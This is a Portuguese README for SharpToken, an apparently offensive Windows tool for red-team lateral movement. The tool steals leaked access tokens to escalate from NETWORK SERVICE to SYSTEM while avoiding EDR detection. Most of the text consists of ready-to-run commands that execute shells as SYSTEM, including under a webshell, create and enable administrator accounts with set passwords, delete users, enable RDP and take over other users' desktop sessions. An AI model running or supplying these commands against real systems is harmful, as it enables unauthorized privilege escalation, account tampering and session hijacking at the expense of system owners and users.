SharpToken

Durante a movimentação lateral de Red Team, muitas vezes precisamos roubar as permissões de outros usuários. Sob a defesa de um EDR moderno, é difícil para nós usar o Mimikatz para obter permissões de outros usuários, e se o usuário alvo não tiver nenhum processo ativo, não temos como usar "OpenProcessToken" para roubar o Token.

SharpToken é uma ferramenta para explorar vazamentos de Token. Ela pode encontrar Tokens vazados de todos os processos do sistema e utilizá-los. Se você for um usuário de serviço com privilégios baixos, pode até usá-la para escalar para privilégios "NT AUTHORITY\SYSTEM", e pode alternar para a área de trabalho do usuário alvo para fazer mais sem a senha do usuário alvo. ..

Uso

SharpToken By BeichenDream
=========================================================

Github : https://github.com/BeichenDream/SharpToken

Se você é um usuário NT AUTHORITY\NETWORK SERVICE, então basta adicionar o parâmetro bypass para se tornar NT AUTHORITY\SYSTEM
exemplo:
SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami" bypass


Uso:

SharpToken COMANDO argumentos



COMANDOS:

        list_token [pid do processo]        [bypass]

        list_all_token [pid do processo] [bypass]

        add_user    <nome de usuário> <senha> [grupo] [domínio] [bypass]

        enableUser <nome de usuário> <NovaSenha> [NovoGrupo] [bypass]

        delete_user <nome de usuário> [domínio] [bypass]

        execute <tokenUser> <linha de comando> [Interativo] [bypass]

        enableRDP [bypass]

        tscon <id da sessão alvo> [id da sessão fonte] [bypass]


exemplo:
    SharpToken list_token
    SharpToken list_token bypass
    SharpToken list_token 6543
    SharpToken add_user admin Abcd1234! Administrators
    SharpToken enableUser Guest Abcd1234! Administrators
    SharpToken delete_user admin
    SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami"
    SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami" bypass
    SharpToken execute "NT AUTHORITY\SYSTEM" cmd true
    SharpToken execute "NT AUTHORITY\SYSTEM" cmd true bypass
    SharpToken tscon 1

Permissões Elevadas

Além do roubo de Token e aumento de privilégio usual, o SharpToken também suporta obter Tokens com integridade através de Bypass

Se você é um usuário NT AUTHORITY/NETWORK SERVICE e adiciona o parâmetro bypass, o SharpToken roubará o System do RPCSS, ou seja, NT AUTHORITY\NETWORK SERVICE para NT AUTHORITY\SYSTEM incondicionalmente

ListToken

As informações enumeradas incluem SID, LogonDomain, UserName, Session, LogonType, TokenType, TokenHandle (handle do Token após Duplicação), TargetProcessId (processo de origem do Token), TargetProcessToken (handle do Token no processo de origem), Groups (grupo ao qual o usuário do Token pertence)

SharpToken list_token

Enumerar Tokens do processo especificado

SharpToken list_token 468

Obter um shell interativo

execute "NT AUTHORITY\SYSTEM" cmd true

Obter resultados de execução de comando (executado sob webshell)

SharpToken execute "NT AUTHORITY\SYSTEM" "cmd /c whoami"

Criar um usuário administrador com o token roubado

SharpToken add_user admin Abcd1234! Administrators

Ativar um usuário administrador com o token roubado

    SharpToken enableUser Guest Abcd1234! Administrators

Deletar um usuário com um Token roubado

    SharpToken delete_user admin

Usar o Token roubado para alternar para a área de trabalho do alvo

Onde 1 é a área de trabalho do usuário alvo e 2 é a área de trabalho que queremos receber

    SharpToken tscon 1 2

LICENÇA

GNU General Public License

Referência

https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html

https://github.com/decoder-it/NetworkServiceExploit

https://github.com/FSecureLABS/incognito

https://github.com/chroblert/JCTokenUtil